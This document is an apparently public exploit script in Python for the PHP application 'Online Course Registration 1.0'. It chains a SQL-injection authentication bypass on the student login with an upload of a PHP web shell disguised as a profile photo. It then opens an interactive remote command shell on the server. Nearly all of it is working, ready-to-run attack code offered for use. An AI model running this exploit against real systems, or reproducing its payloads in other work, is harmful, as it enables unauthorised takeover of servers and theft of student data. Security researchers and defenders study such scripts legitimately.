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113 | # Exploit Title: Online Course Registration 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Bobby Cooke
# Credit to BKpatron for similar Auth Bypass on admin page - exploit-db.com/exploits/48559
# Date: 2020-07-15
# Vendor Homepage: Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 | Python 2.7.18
import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
ok = Fore.GREEN+'['+Fore.RESET+'+'+Fore.GREEN+']'+Fore.RESET+' '
err = Fore.RED+'['+Fore.RESET+'!'+Fore.RED+']'+Fore.RESET+' '
info = Fore.BLUE+'['+Fore.RESET+'-'+Fore.BLUE+']'+Fore.RESET+' '
RS = Style.RESET_ALL
FR = Fore.RESET
YL = Fore.YELLOW
RD = Fore.RED
def webshell(SERVER_URL, session):
try:
WEB_SHELL = SERVER_URL+'studentphoto/kaio-ken.php'
getdir = {'telepathy': 'echo %CD%'}
r2 = session.post(url=WEB_SHELL, data=getdir, verify=False)
status = r2.status_code
if status != 200:
print(err+"Could not connect to the webshell.")
r2.raise_for_status()
print(ok+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
print(RD+')'+YL+'+++++'+RD+'['+FR+'=========>'+' WELCOME BOKU '+'<========'+RD+']'+YL+'+++++'+RD+'('+FR)
while True:
thought = raw_input(term)
command = {'telepathy': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print('\r\n'+err+'Webshell session failed. Quitting.')
quit()
def formatHelp(STRING):
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET
def header():
SIG = RD+' /\\\n'+RS
SIG += YL+'/vvvvvvvvvvvv '+RD+'\\'+FR+'--------------------------------------,\n'
SIG += YL+'`^^^^^^^^^^^^'+RD+' /'+FR+'============'+RD+'BOKU'+FR+'====================="\n'
SIG += RD+' \/'+RS+'\n'
return SIG
if __name__ == "__main__":
print(header())
if len(sys.argv) != 2:
print(formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
print(formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/Online Course Registration/'" % sys.argv[0]))
quit()
SERVER_URL = sys.argv[1]
if not re.match(r".*/$", SERVER_URL):
SERVER_URL = SERVER_URL+'/'
LOGIN_URL = SERVER_URL+'index.php'
PROFILE_URL = SERVER_URL+'my-profile.php'
print(info+'Creating session and saving PHPSESSID')
s = requests.Session()
get_session = s.get(SERVER_URL, verify=False)
if get_session.status_code == 200:
print(ok+'Successfully connected to server and created session.')
print(info+get_session.headers['Set-Cookie'])
else:
print(err+'Cannot connect to the server and create a web session.')
bypass_data = {'regno' : '\' or 1=1; -- boku', 'password' : '\' or 1=1; -- boku', 'submit' : ''}
print(info+'Bypassing authentication of student login portal.')
auth_bypass = s.post(url=LOGIN_URL, data=bypass_data, verify=False)
if auth_bypass.history:
for resp in auth_bypass.history:
print(info+'Response Status-Code: ' + str(resp.status_code))
print(info+'Location: ' + str(resp.headers['location']))
redirectURL = resp.headers['location']
if re.match(r".*change-password.php", redirectURL):
print(ok+'Successfully bypassed user portal authentication.')
else:
print(err+'Failed to bypass user portal authentication. Quitting.')
quit()
get_profile = s.get(url=PROFILE_URL, verify=False)
Name = str(re.findall(r'name="studentname" value=".*"', get_profile.text))
Name = re.sub('^.*name="studentname" value="', '', Name)
Name = re.sub('".*$', '', Name)
PinCode = str(re.findall(r'name="Pincode" readonly value=".*"', get_profile.text))
PinCode = re.sub('^.*name="Pincode" readonly value="', '', PinCode)
PinCode = re.sub('".*$', '', PinCode)
RegNo = str(re.findall(r'name="studentregno" value=".*"', get_profile.text))
RegNo = re.sub('^.*name="studentregno" value="', '', RegNo)
RegNo = re.sub('".*$', '', RegNo)
print(ok+'{studentname:'+Name+', Pincode:'+PinCode+', studentregno:'+RegNo+'}')
avatar_img = {
'photo':
(
'kaio-ken.php',
'<?php echo shell_exec($_REQUEST["telepathy"]); ?>',
'image/png',
{'Content-Disposition': 'form-data'}
)
}
upld_data = {'studentname':Name, 'studentregno':RegNo,'Pincode':PinCode,'cgpa':'0.00','submit':''}
webshell_upload = s.post(url=PROFILE_URL, files=avatar_img, data=upld_data, verify=False)
print(ok+'Uploaded webshell. Now connecting via POST requests using telepathy.')
webshell(SERVER_URL, s)
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